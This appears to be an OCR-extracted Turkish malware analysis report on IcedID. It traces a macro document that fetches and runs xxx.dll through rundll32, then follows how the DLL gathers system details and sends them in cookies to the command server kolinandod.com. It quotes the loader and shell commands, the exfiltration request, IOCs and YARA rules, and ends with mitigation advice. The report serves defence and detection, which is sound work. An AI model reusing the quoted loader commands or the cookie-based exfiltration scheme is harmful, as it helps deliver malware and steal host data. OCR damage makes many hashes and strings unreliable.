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On Bakis

IcedID, Bok-Bot adiyla da bilinen Trojan tipi kotli amaglh bir yaziimdir. ik kez 2017
yilinda ortaya c¢ikmisg ve surekli guncel kalmasi ile popdulerligin artmistir. Dogu
Avrupa’daki bazi siber suc orgutleri ile baglantilari olan bir grup tehdit aktori tarafindan
isletildigi dusunulmektedir. Ayrica arkasindaki suclularin Emotet ve Trickbot'un
dagitimeilariyla is birligi_yaptigi bilinmektedir. IcedID “saldirilari cogunlukla Kuzey
Amerika'daki.bankalari ve Birlesik Krallik'taki birka¢ sec¢kin bankacilik kurulusunu
hedef almaktadir..Esas olarak bankacilik Trojan’i olarak-bilinen IcediD, isletmeleri,
kurumsal banka hesaplarini, e-ticaret sitelerini;, 6deme karti saglayicilarini ve mobil
hizmet saglayicilarini hedefler.. Bu noktada, 6zel Kullanicilara yonelik saldirlar
hakkinda net bir bilgi bulunmamaktadir. Ayni zamanda bir loader gbrevi gorur ve diger

virsleri iletebilir veya ek moduller indirebilir.

IcedID, ¢ok gelismis iglevler tagiyan moduler bir virUstir. Diger Trojan tipi yazilimlardan
esinlenilmis veya direkt olarak calinmig herhangi bir kod pargasi icermemektedir ve bu
durum ahlsilmigin disindadir. Ayrica gelistiricileri tarafindan aktif olarak korunmakta ve

gelistiriimektedir.
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Document-197.rtf Analizi

Adi Document-197.rtf

MD5 CODEEES790252A14669A1A84AEC12317

SHA256 7dd793aab5547eb5523f7¢9c0222b819995d7550603fa027854a6332
7b59b657

Dosya Turu /| DOCM

On inceleme

B | pageloll Owords, 0 charscters Defoult Page Style English (USA) 1 e Y — + wo0% |

Sekil 1- Document-197.rtf sahte dosya igerigi

Zararl dokiimandaki makro kodlarinin galisabilmesi igin sosyal mihendislik metodu kullanilarak
kullanicinin “otomatik makro ¢alistirma” izni vermesi beklenmektedir.

Dokiiman igerisinde sahte bir resim hazirlanmis ve bu sahte resimde, dosyanin Microsoft Office
Word’iin eski bir siriminde olusturuldugu ve dosyaya erisebilmek icin kullanicinin izninin gerektigi
belirtilmektedir. Zararl, kullanicidan izinleri aldiginda makroyu calistirmaktadir.
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Detayli Analiz

|This file contains VBA

|macros. Suspicious
words were found. Use
vba and mraptor for
e info.

|This file d not contain
|Excel 4/XLM macros.

|External relationships
|such as remote templates
| remote OLE objects,

Sekil 2- Document-197artf.VBAdVlacrolari icermektedir

Dokimanin stipheli VBA Makrolari icerdigi gorulmektedir. Makrodaki dizinler obfuscate edilmis halde
bulunmaktadir. Her bir.dizin kullanilmadan 6nce “I7JQdMABs” adli fonksiyon ile gagirilmaktadir.
Caginlan dizinler “17JQdMABs” fonksiyonunda deobfuscate edildikten sonra kullaniimaktadir.

[ = it il ol W

32 |pim - - - {} As Byte

33 pim - -

34 |Dim - « ere- As Integer

35 | .- B «+ (I7JQdMABs("vnZaxCRuVoPEWFXX"))

36 |- .- e o= I?JQdMF\BS(“mgrlt\dea cxalx:orDha")

37 + «-++ = FreeFile

38 performerte o e, s B

39 [call Shell(I?JQdMABS("1123rd un") & - - -+ . & I7JQdMABs("#,1"))
48 |End Sub

41 |Function 5220iPh(s, pos)

42 52201Ph = Mid(s, 1, pos - 1) & Mid(s, pos + 1, Len(s))

43 |End Function

A4 |[Function perfcrmwrlte( . . e, e . .., - - . )
45 |Dim .o .- - As Long

46 [Open - ----- -+ «+ - For Binary Access Write As # ...

47 |For - e - =0 To UBound{.... . . ..)_1

43 |Put # --- - . , - - '+1r CB}fte{.... . . ..( - - .))
49 [Next . e

50 |Close # ---

51 |End Function

Sekil 3- Document-197.rtf obfuscate edilmis VBA Makrolari




VBModule

Main()

Console.WriteLine(I7JQdMABs("mgrlt\Pxda.cxalx:orbD\a"))
Console.WriteLine(I7JQdMABs("1123rd un"))
Console.WriteLine(I7JQdMABs("t:h/pt/"))
Console.WriteLine(I7JQdMABs("vnZaxCRuUVoPEWFXX"))
Console.WriteLine(I7JQdMABs("usoXLrtaPCtMsm"))

Sekil 4- Dizilerin sifresini ¢ozen Visual Basic programi

Obfuscate edilmis olan dizinler, deobfuscate edildikten sonra “I7JQdMABs” fonksiyonunun
parametreleri gorunir hale gelmektedir.

Makro icerisinde kullanilan bazi komutlar su sekildedir ;

VAR1 = CallByName(ActiveDocument, CustomXMLParts, VbGet, )

VAR2 = CallByName(VAR1, SelectSingleNode, VbMethod, /*[local-name()="'custom-xml-content'])

CallByName(VAR2, Text, VbGet)

Shell(rundll32 c:\ProgramData\xxx.dll ,#1)

VBA kodlarina baktigimiz zaman zararli, internet sitesine istek atarak xxx.dll dosyasini
“C:\ProgramData\” dizinine indirmektedir.

Zararli, “rundli32.exe” uygulamasini¢agiran'shell kodunu calistirarak; rundll32.exe uygulamasinin
belleginde xxx.dll'i calistirmaktadir. Bu sekilde zararl (xxx.dll) islemine baslamaktadir.



http://[oauCxEFVnZXPXwRv]/

| AutoExec ) |Runs when the Word or Publisher document is

|
| | opened [
| |[May open a file [
| |[May write to a file (if combined with Open) |
| |[May write to a file (if combined with Open) |
| |Binary |May read or write a binary file (if combined |
| | |with Open)

| | Shell |[May run an executable file or a system

| | | command

| |Call |[May call a DLL using Excel 4 Macros (XLM/XLF) |
| | CallByName |[May attempt to obfuscate malicious function

| | | calls [
| |Base64 Strings | Baseb64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | | see all) |
| Baseb64 | y<m | eTxt

|string | | |

Sekil 5-"Makro icerisinde var-olan zararlyislemler

xxx.dII"Analizi

Adi xxx.dll

MD5 C44E334A421D10C4AEATA21AAB12EBES?2

SHA256 €c3205b396b625cd21112b9b9b36chbe98ffa6891fade5100e469a43
c80ed0470

Dosya Turu PE64 [/ DLL

Bcru | Dorafic | ik | [Notlr | ® KesmeNoktslan | M hafiza | [ vignGagrian | =wsed | Lo KomutDosyas | %) semboller | < Kaynak | - Referanslar | ' isParcackan | # Tutamadar | 7z |
*[0000 3ACO cmp c1,c1 R
I . 000 v 74 2A je xxx.7FEECE2A380 [ EBN.Gizle
e geroacs add rex,rax rax: RAX  0000D0018000430A "SHELL32.d11"
S e iSROE S G RBX  0000000000000007
. oot Y RCX  000000018000430A "SHELL32.d11"
48:83C0 08 add rax,s . RDX  0000000000000000
48:898424 88000000 |mov gword ptr ss:[@rsp+asj,rax REP  0000000000000000
v E9 DB00000O Jmp Xxxx.7FEECE2A44D 000000000011EBO0
48:8BC8 MoV rcx,rax rex: “SHELL32.d11", rax:“SHELL32.t RSI 000000000011EELD
FF9424 00010000 call gword ptr ss:[rsp+100] Loadlibrary RDI  0D000D0DD0011EDS0
3ADB mp bi,bl
v 74 26 je xxx.7FEECE2A3A6 I RS DDDDDODDOODOOLSF L'a
8800 mov eax,dword ptr d rax:"SHELL3Z.d R9 000000000011E978 <&LookupAccountNamew>
48:884C24 28 mov rcx,qword ptr s R10  000000000017EECO
o Soi3ncs, o B L S— R11  000000000011ESF2 “LookupAccountNamew"
a0 oc s S R12  000000000011F030 L"AllonConsentTostealFocus”
d5:883c24 28 flov roxjqword per = Riz  000000000003001C
66:38D2 cmp dx, dx
~ 74 8D e xxx.7FEECE2A356 | 215 £21acE o zecece21aee
8840 10 mov eax,dword ptr ds: [rax+10] o —
R : == , | Varsayian (x64 fastcal) ~ ] 50 2] [] wiitsi
= - 5 36: [rsp+168] 000DD00076F42E50 Ntdll.0000000076F42E50
iord ptr [rsp+100]=[0000000D0011ECOD <&LoadLibraryA>]=<kernel32.LoadLibraryA> 47+ [rsp+170] 0000000000183880
4 [rsp- ] 0000100000000009

0000000000010000

€XT:000007FEECE2A375 XxX.d11:$A375 #9775

000007FFFFFEFFFF

%yDokim1 | @4y Dokiim2 4y Dokiim3 4y Dokim4 | @4 DokimS | 8 e 1 I [x=] Yerel Degiskenler 2 Yapi
res | Asc11

07|
E000007FEFEEBO734| advapi32. 000007 FEFEEBO734
Hex 0
00000180004050 |G0 E2 D3 7

B ey £0000000000000007
00000180004060 B0 21 D& 76100 00 00 00(10 C9 D3 76100 00 00 00| *tOv.
00000180004070 (50 62 DO 76100 00 00 00|50 Z 00 00 ¢ 180000000 ioes
00000180004080 | 40 _BD CF 76100 E0 1, Z
00000180004090 50 C1 E4 76100 00 00 000 & Z
00000180004040 |20 7A E3 76100 0 00|07 D17
00000180004080 | 017 D1 76100 00 00 00| B0 00 3 7¢

Sekil 6- LoadLibrary API’sinin kullanildigi gériilmektedir

>
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A

Notlr | ® KesmeNoktalan | M8 Hafiza | (Y Caglen | S SEH | Lol KomutDosyass | @) Semboler | <> Kaynak | .- Referan: % IsParcackan | o Tutamager | ¢ Iz |
48:888C24 mov_rcx,qword ptr Ss:Ersp:0o] AR
FF9424 D8000000 call qwe ptr ss:[rsp+D&} getprocaddress
o [oranes opospy RAX  00000001800048C4 “LookupAccountNamew"
i i REX  0000000000000007
e el e R — RCX  000007FEFEEA0000 advapi32.000007FEFEEADD00
4 Es E51€0000 Jmp sx. 7EEECE2ACIA RDX  00000001800048C4 LookupAccountNamew
48:88C1 mov rax,rcx rax: "LookupAccountNamew REP  0000000000000000
48:898424 ADD00000 |mov qword ptr ss:Ersp+acd,rax RSE  000DDDDD0D11EE00
v E9 21000000 jmp xxx.7FEECE2A256 RSI 000000000011EE10
v E3 D50F0000 Jmp Xxx.7FEECE2ASOF RDI  00D0DOOOOO11EDSO
25 00000004 and eax 000
85 test eax,eax RS 0000000000000166 | S &
je xxx.7FEECE2954C R3 000000000011E978 <&GetuUserNamew>
J00 RAXMEEECEIRE i R10  00000DD00017EECO
i , eax R11  000000000011E9F2 “GetUserNamew"
b oo, SFEECEDAR it R12  0000D0OD0011FO30 L"Al1onConsentTostealFocus”
add rdx,qword ptr ds:[rax+rcx rdx: "LookupAccountNamew R13  000000000003001C
mov rax,rdx rax: "LookupAccountNamew", rdx: "L R14  0000000000000003 N
cmp ah, ah P £210ee vax_nnnNNTEEECE21aEE
& Xxx.7FEECE29560 - =
e + [versaylen (x64 festcal) ~ ] s0 (21 [ kiitsiz
— — 36 3] GFa2E50 ntdll. eraze
word ptr [rsp+D rocAddress> 47 p+170] 0000000000183880
48 p+178] 0000100000000009
9 71 0000000000010000
.Text:000007FEECE29509 xxx.d11: 9509 #8909 5o 1887 0OODOTFFFFFEFFEF
g = = G 0000000000000007
i Dokim1 | giyDokim2 | 4% Dokim3 | @ Dokims | Wypokims | @ ide1 [ ix-lverelDegiskenier | ' vapi T T T S R T )
[E000000000011EELD
Adres Hex -
13
JO0000000011EE70| 0A 00 00 00|00 00 00 UD}UZ 00 00 00(00 00 00 C 000099000000000
00000000011EES0 | 1E EFIFF FF(79 75 64 73|61 6E 61 Jyyudsanau
00000000011EE90 | 79 4(67 61 68 54}73 6A 6B 61(73 00 00 C jkas. . . 5 e
JO0000000011EEAD | 7B 4E 35 2E|44 35 0D 19|23 2E DS £
00000000011EEBO | 4E 23 35 00|2€ 87 E7 45/0C 35 00 00000000001 85736
JO0000000011EECO | 40 0 00 00 00(06 00 00 00|00 00 00 C >EE| 5. £
3n00ANNa011FFRN | nn &0 0 nalon 00 00 a0lad an F> FclEF 07 o an 5000007 EEECE 2AEE1 [ ARURIY T8 00k G0 RERERARERL AT ol Johy

Sekil 7- GetProcAddress API’sinin kullanildig! gériilmektedir

Zararh. “GetProcAddress” ve “LoadLibrary” API’lerinin yardimi ile dinamik olarak APl resolving islemi

yapmaktadir:

LoadLibrary, dinamik olarak yliklenecek API'nin bulundugu DLL’i ylikler ve parametre olarak
GetProcAddress’e verir. GetProcAddress parametre olarak aldigi DLL den disa aktarilan fonksiyonun
adresini dondurerek dinamik ¢oztiimleme islemini tamamlamaktadir.

API’'lerin dinamik zamanda APl Hashing islemine tabi tutulmasinin‘sebebi; IAT (Import Address
Table)’den API’leri gizleyip statik analizde goértlmesini engellemektir.

Dinamik olarak yuklenilen API’lerden siipheli olan birkagi sunlardir;

WinHttpSendRequest

WinHttpSetOption

SwitchToThread

VirtualAlloc

GetTempPathA

CreateDirectoryA

GetComputerNameExW

Sleep

CreateThread

GetProcessHeap

LookupAccountNameW

SHGetFolderPathA

90

4C: BBDC

49; 895E 08
49:896E 18
56

57

41:54
48:83EC 20
41:0FB7 00
49; BEFE

48: BEEA
66:03C0

4D: 8D432 10
45:32E4

66: 894424 22
49: 8953 EO
49:8D52 DB
8BF1

6645: 8963 DE

nop
mov ril,rsp

mav gword ptr ds:
mov qword ptr ds:
push rsi

push rdi

push riz

sub rsp,z0

ril+g

movZx eax,word ptr ds:[rs]

mov r
mov
add
Tea
wor
mov
mov
Tea
mov

di,r8
rbp,rdx
ax,ax

rizd,rizd
word ptr ss:firsp+22
gword ptr ds:[ril-2

esi,ecx

mov_word ptr ds:[ri1-28],ri2w

rii+18

rg,gword ptr ds:[rii+10]

rdx,qword ptr ds:[ri11-28]

rbx
Syl
rsi:L™;

Po_u=4
rdi:L"68BACS

rdi:L"68BACS

rdx: L"ICEKIN
rdx: L"ICEKIN
esi:L™; _u=4

Sekil 8- _u parametresine eklemek tizere kullanici adi bilgisini topluyor

GetUser NameExw

94345 4B494E47 2050437
E443EI6BAF"

E443EI6EAF"

G-FC"
G-FC"
94345 4B494E472D5043"

>
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A

Zararl, yukledigi Windows API’lerini kullanarak bir takim sistem bilgisi toplamaktadir. Kullanici ismi,
Adaptor bilgisi, Windows slirim bilgisi vb. gibi topladigi bilgileri hexadecimal degere ¢cevirmektedir.
Degerleri cevirdikten sonra cookie parametreleri icerisine yazmaktadir.

léa ris,qword ptr ds:{lSOOO?OéB} : D0D00D0180007098:L"; _gid="
xor esi,esi
lea rcx,qword ptr 3:L180007OEO’ 00000001800070ED: "IPHLPAPI.DLL"

and dword ptr ds:
c€all qword ptr ds:
mov rcx,rax

lea rdx,qwor‘d ptr ds:[180007050] 0000000180007050: "GetAdaptersInfo
€all qword ptr ds:[<&GetProcAddress>]
mov rbp,rax
test rax,rax
;ie 1800013DF :

[rax+10],esi
[<&LoadLibraryAx>]

- P

Sekil 9- "gid parametresine eklemek tzere sistemden adaptér bilgisini topluyor

Zararli, cerez icerisinde 6 tane parametre gondermektedir. Bu parametrelerde C2 sunucusuna
gondermek tizere topladig bilgiler yazmaktadir:*Bu-parametrelerin ismi ve igerikleri asagidaki gibidir:

e gads..Sistemin ne kadar:siiredir acik oldugu, sistem bilgisi vb.

e  gat: Windows'sliriim bilgisi

e ga!lslemci bilgisi

e _u: Bilgisayar ismi, kullanicrismi, VM Tespiti(Zararh, lab ortaminda incelenip
incelenmedigini kontrol ediyar)

e _jo:SIDnumarasi

e _gid: Yerel bilgisayarin adaptor bilgisi

% rundiB2.exe - PID: 50C - Modk o dll - Thread: Ana Islem A48 - x64dbg o & ==
Dosya Gérinim Debug 1z Ekentler SkKulanianlar Secenekler Yardm  Feb 112020
2 B | e#hk# LB
[ ik [ (inoter | ® Kesmenoksan | ™ vaiza [ () vimCatrien | =0set [ Lol komutosyes | @) senboler | < Kaynsk [ /- Referansr | 9 fsparcacitan [ o Tutamacer | ¢7 12
0 1] 48:8B8C24 mov_rcx,qword ptr ss: | z Y
FF9424 D8000000 (emIw quordpee ss: tris |getprocaddress |oERY.Gizle
Sesstee PSP RAX  00000001800047EC "GetTickcountea"
8 RBX '0000000000000007
::':SBCZ-‘ $E000000 RCX 000000007 6CFO000 kernel32.0000000076CF0000
v E9 F5160000 RDX  00000001800047EC “GetTickcount64”
as: rex ¢ REP  0000000000000000
48:838424 40000000 mov qword ptr ss:lirsprAoll,rax RSE  000000000011EB00
v E92 Jmp XX Jeicesasts RSI  000000000011EE10
* £3 biorooos 3B XxX. 7EEECE2450F RDI  000000000011EDS0
25 00000004 eax, 4000000
(CS( eax, eax RS 0000000000000051 Q'
. v ;; gzwpgoo ;:px::xviﬁgégégigs RS 000000000011E978 <&CloseHandle>
. ® 2A2 R10  00000D000O17EECO
e 4 A T . d‘;"”’ pEE ss:ir R11  000000000011E9F2 "CloseHandle”
2 FEErEs0ss . £9 95000000 B Sl Rt B R12  000000000011F030 L"AllowConsentTostealFocus™
. 45:031408 add rdx,quord per ds:[r R13  000000000003001C
o[ 00 48:88C2 mov rax,rdx r rdx:“GetTic | R14  0000000000000003
. 3aE4 mp R15__nonnnzesEce219eE X¥x_NODNNZEEECE21EE L
. 00 ]! )(XX.7FEECE295Q - ]
ol —— | varsayian (x4 fastcal) | 50 % [ itsiz
e — 16 +168] 76F42E50 ntdll. 42650 |
aword ptr [rsp+D8]=[000000000011EEDS <&GeTProcAddress>]=<kernel32.GetProcAddress> 7 S,, 70] 0000000000183880 25
. text:000007FEECE29509 xxx.d11:$9509 #8909
W9 Dokum1 | g4 Dokiim2 | 4% Dokiim3 | @44 Dokiim4 | @4 DokiimS | @ ize 1 | Ix=| Yerel Dedigkenler | ' Yapi
Adres | Hex
ODOOODDDDf)llEE”D 0A
000000000011EE50 lE
0000000000
ODODODOODDllEEAO
00000000001 1EEE0
000000000011EECO
000000000011EEDO
000000000011EEED | -

Sekil 10- GetTickCount64() API’si kullanilarak karsilastirmak lizere ¢alisma zamani hesaplanir

Anti analiz teknigi kullanildigi goriilmektedir. Ayrintili zamanlama bilgileri elde etmek icin RDTSC,
QueryPerformanceCounter(), GetTickCount() gibi APl veya komutlari kullaniimaktadir. Programin
¢alismasi esnasinda gegen siire hesaplanarak sanal makine tespit edilmektedir.




1€d SUX,YWUFU PLi US: LIyt is]

€all qword ptr ds: [<&mnHttpSetopt1on>]

mov ecx,dword ptr ds:[rdi+28]

mov r‘dx,qword ptr ds:[rdi+10] [rdi+10]:L"Cookie: __gads=3281798692:1:2

mov r9,qword ptr ds:[rdi+z0]

mov rax,rdx

neg rax

sbb rsd,rsd r8d:L"ver"

and qword ptr sslrspfszl,rbx
8

mov dword ptr ss:frsp+28],ecx

mov dword ptr ss:fErsp+20F,ecx

mov rcx,risd

call qword ptr ds:[<&WinHttpSendrRequest:>]

xor edi,edi edi:&L"kolinandod. com"”

test eax eax

je 18000277E

xor edx,edx

mov rcx,risd )
qword ptr ds: [<@WinHttpReceiveResponse>]

test eax,eax

j& 18000277E

e istek atmaktadir.

Seki indigi b je olarak C

relere yazdiktan sonra “kolinandod[.]Jcom”
HTTP bashgi ile istek atmaktadir,

Network Analiz

Capture Window S Hex '

Time Domain Requested DNS Retumed 4
15:06:01 teredo ipv6.microsoft.com FOUND

15:07:04 teredo ipv6 microsoft.com FOUND

15:07:44 teredo ipv6.microsoft.com FOUND

15:08:28 tetedoupvﬁmlcrosoﬁcom FOUND E
15:08:49 kolinandod.com FOUND

15:08:49  kolinandod.com FOUND

15:08:59 teredo ipv6.microsoft.com FOUND

15:09:33 _ teredo ipv6 microsoft com FOUND

15:0950 ke i FOUND

15:0950 FOUND

15:10: 08 teredo DVG mlctosoﬂ .com FOUND C

Sekil 12- Zararlnin istek attigi domain

“kolinandod[.]Jcom” domain adresine baglanmaya galistigl gbzlemlenmistir.




& Capturing from Local Area Connection o |[-@- |
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

mio REQex=FaszBaaan
ter _<Ctrl- £ -]+
No. Time Source Destination Protocol  Length Info *
1 0.000000 192.168.182.158 192.168.182.2 DNS 74 Standard query @xdac3 A kolinandod.com L
2 8.200756 192.168.182.2 192.168.182.158 DNS 177 Standard query response @xdac3 A kolinandod.com A 159.203.5.238 NS 2-can.njalla.in NS 1-you.njalla.no NS 3-get...
3 0.208585 192.168.182.158 159.203.5.238 TCP 66 49423 > 8@ [SYN] Seq=@ Win=8192 Len=0 MSS5=1460 WS=256 SACK_PERM=1
4 0.220887 159.203.5.238 192.168.182.158 TCP 6@ 80 > 49423 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS5=1460
5 0.221042 192.168.182.158 159.203.5.238 TCP 54 49423 -+ 8@ [ACK] Seq=1 Ack=1 Win=64240 Len=0
— 6 0.223130 192.168.182.158 15t TimTTe 337 GET / HTTP/1.1
.224040 159.203.5.23 TP 6@ BA » 49473 [ACK] Sea=1 Ack=284 Win=h424@ |en=A e
> Erame A 37 bty 0w (2696 hits) 337 hut (2696 hits) on i Dewi NPE_fACENSCC2-BA2C-A4 R A7EQRE1AGNAY  id @
6920 @5 ee c1 Of @0 50 33 d7 b3 b4 51 18 20 c3 5@ 18 -----P3- --Q- -P- p
fa fo le 36 @0 00 47 45 54 20 2f 20 48 54 54 50 6:'GE T / HTTP
2f 31 2e 31 od @a 43 6f 6e 6e 65 63 74 69 6f 6Ge /1.1- -Co nnection
3a 20 4b 65 65 70 2d 41 6c 69 76 65 @d Ga 43 6f : Keep-A live--Co
6f 6b 69 65 3a 20 5f 5f 67 61 64 73 3d 33 32 38 okie: __ gads=328
31 37 39 38 36 39 32 3a 31 3a 36 30 39 31 3a 34 1798692: 1:6091:4
33 3b 20 5f 67 61 74 3d 36 2e 31 2e 37 36 30 31 3; _gat= 6.1.7601
2e 36 34 3b 20 5f 67 61 3d 31 2e 31 33 32 37 37 .64; _ga =1.13277
35 2e 31 36 33 35 32 3@ 38 35 33 34 2e 32 32 36 5.163520 8534.226
35 3b 20 Sf 75 3d 34 39 34 33 34 35 34 42 34 39 5; _u=49 43454849
34 45 34 37 32 44 35 3@ 34 33 3a 36 39 36 33 36 4E472D50 43:69636 |
35 36 42 36 39 36 45 36 37 3a 33 32 34 33 33 36 56B696E6 7:324336 B
34 34 34 32 33 33 33 36 33 36 34 35 34 31 33 39 44423336 36454139
33 39 34 32 33 34 33 34 34 33 3b 20 5f 5f 69 6f 39423434 43; __io
3d 32 31 5f 33 39 30 33 33 32 34 3@ 31 38 5f 34 =21_3903 324018 4
32 30 34 31 38 34 38 38 37 5f 33 37 3@ 35 33 38 20418488 7_370538
35 38 37 36 3b 20 5f 67 69 64 3d 30 3@ 36 38 35 5876; _g id=00685
9130 39 45 42 37 41 32 38 0d 0a LN EVERFEREEEFTNCL 9EB7A28 ost: K
0140 ﬂ 6c 69 6e 61 6e 64 6f 64 2e 63 6f 6d Bd ! [-'Bl o1 inando d.com-
1 2a 4
Sekil 13-Zararlinin_attigi istek
Atilan HTTP.istegi detayl incelendiginde, zararlinin bilgi toplama asamasinda elde ettigi “cookie”
degerlerini kullandigi gorilmektedir.
Gonderilen istek:
GET /HTTP/1.1
Connection: Keep-Alive
Cookie: __gads=3281798692:1:6091:43; gat=6.1.7601.64; ga=1.132775.1635208534.2265;
_u=4943454B494E472D5043:6963656B696E67:32433644423336364541393942343443;
__i0=21_3903324018_4204184887_3705385876; gid=006859EB7A28
Host: kolinandod[.]Jcom
@ 404 Not Found x BB o l=l@l =]
C A Notsecure | kolinandod.com 2 % O &

404 Not Found

nginx/1.18.0 (Ubuntu)

E———1

Sekil 14- C2 sunucusundan dénen hata

“kolinandod[.Jcom”un aldigI HTTP istegi sonucunda sunucu, “404 Not Found” hatasi dénmektedir.




A
y

Doénen yanit:

HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 02 Nov 2022 19:44:37
GMTContent-Type: text/html

Content-Length: 162

Connection: keep-alive

<html>

<head><title>404 Not Found</title></head>
<body>

<center><h1>4( Found</h1></center>
<hr><center> 18.0 (Ubuntu)</center>

</body>
< >

Sunu 6 4k anit sonrasinda “Sleep” fonksiyonu ile bir si bekle
istek at : nmistir.

Ancak sunucudan , yanit ile zarz 2mine devam ¢ . Analiz sirasinda
hedef olmadigimiz.igir ] dt‘m e zararl Y d edememektedir.




document-197.rtf YARA Kural

import “hash”
rule IcedID

{

author = “ZAYOTEM”
description = “IcedID”
first_date = “02.10.2022”
report_date = “02.11.2022”

file_name =“document-197.rtf’

strings:
$s1 = “http://oauCXEFVnZXPXwRv/”
$s2 = “c:\\ProgramData\\xxx.dlIl”
$s3=“#1"

$s4 ={6D 67 72 6C 74 5C 50 78 64 61 2E 63 78 61 6C 78 3A
6F 72 44 5C 61}

condition:
hash.md5(0,filesize) == “CODEEE5790252A14669A1A84AEC12317” or
all

of




xxX.dll YARA Kurali

import “hash”
rule IcedID

{

author = “ZAYOTEM”
description = “IcedID”
first_date = “02.10.2022”
report_date = “02.11.2022”

file_name = “xxx.dll”

strings:
$http_headers1 = “Cookie: _gads="
$http_headers2 = “_gat="
$http_headers3="“_ga="
$http_headers4 = “_u="
$http_headers5 =*“ _io="
$http_headers6 = “_gid="

$s1 = “kolinandod.com”
$s2 = “yudsanauystdgahdsjkas”
$s3 = “c:\\ProgramData\\”

condition:

hash.md5(0,filesize) == “C44E334A421D10C4EA7A21AA612EBES2” or
all

of




MITRE ATTACK TABLE

Reconnaissance Execution Persistence Privilege Defense Credential Exfliration
Escalation Evasion Access

T1055- T1027- Obfuscated Files or T1071-
Process Information Application Layer
Injection Control
T1055- T1095-
Process Non- Application
Injection Layer Control
T1497- T1105-
Virtualization/Sandbox Ingress Tool
Evasion Transfer

Co6zum Onerileri

1.Bilinen kotl amagli dosyalarin tespit/edilmesini ve' azaltilmasint saglamak igin
sistemlerde duzenli olarak taramalar gergeklestiriniz. Antivirus uygulamalarinizi gincel
tutunuz. Guvenlik yaziliminin tdm u¢ noktalara dagitildigindan ve merkezi olarak

izlendiginden emin olunuz.
2.Uygun testlerden'hemen sonra uygun yamalari ve glincellemeleri uygulayin.
3.MUmkin olan yerlerde gok faktdrl kimlik dogrulamayi etkinlestirin.

4 Bilinmeyen programlarin sunucularda ¢alismasini onlemek i¢in uygulama beyaz
listesini uygulayin. Onaylanmamis bir tarayici kullanmalari halinde saldirganlarin web

tarama faaliyetlerini kisitlayacaktir.

5.Kurulusun uygulama beyaz listeleme yazilimi, bir sistemde yalnizca yetkili, dijital
olarak imzalanmis komut dosyalarinin (*.ps1, *.py, makrolar, vb.) ¢alismasina izin

verilmesini saglamalidir.

6.0rtaminizdaki makrolari devre digi birakin. Makrolari tamamen devre disi birakmak
mumkun degilse, makrolarin etkinlestiriimesi gereken kullanicilar igin Active

Directory'de (AD) bir Kurulus Birimi (OU) olusturun.

4
I .



7.Bilinen kétl amacli spam gostergelerine sahip e-postalari filtrelemek igin e-posta ag

gecidinde filtreler uygulayin ve guvenlik duvarinda supheli IP adreslerini engelleyin.

8.Harici e-postalari, harici bir kaynaktan geldigini belirten bir banner ile isaretleyin.

Kullanicilarin sahte e-postalari tespit etmesine yardimci olacaktir.

9.Supheli e-postalarla ilgili bir politikaniz yoksa, bir politika olugturmayi ve tum sipheli
e-postalarin guvenlik ve/veya BT departmanlarina bildiriimesi gerektigini belirtmeyi

disundn.

10.Calisanlara’ sosyal ‘'muhendislik ve phishing egitimi verin. /Supheli e<postalari
acmamalari, bu,.tir e-postalarda yer alan baglantilara tiklamamalari, hassas bilgileri
cevrimici. olarak paylasmamalari ve istenmeyen taleplere asla kullanici adi, sifre
ve/veya Kisisel bilgi vermemeleri konusunda onlari tesvik edin. Kullanicilara,
baglantiya tiklamadan once hedefi dogrulamak igin fareleriyle bir baglantinin Gzerine

gelmelerini ogretin.

11.Duzenli olarak sistem yedekleri olusturun ve bu yedekleri bant diginda ayri bir yerde

saklayin.

12.Kullanicilarin gorevlerini yerine getirmesini saglayacak derecede, minimum erigim
dizeyine sahip olmalarmi saglayin. Yénetici kimlik bilgilerinicbelirlenmis yoneticilerle

sinirlayin.
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https://www.linkedin.com/in/berkay-dogan99/
https://www.linkedin.com/in/dilara-behar-0530b3195/
https://www.linkedin.com/in/rabia-eksi/
https://www.linkedin.com/in/zafer-yigithan-dereci-94417b238/

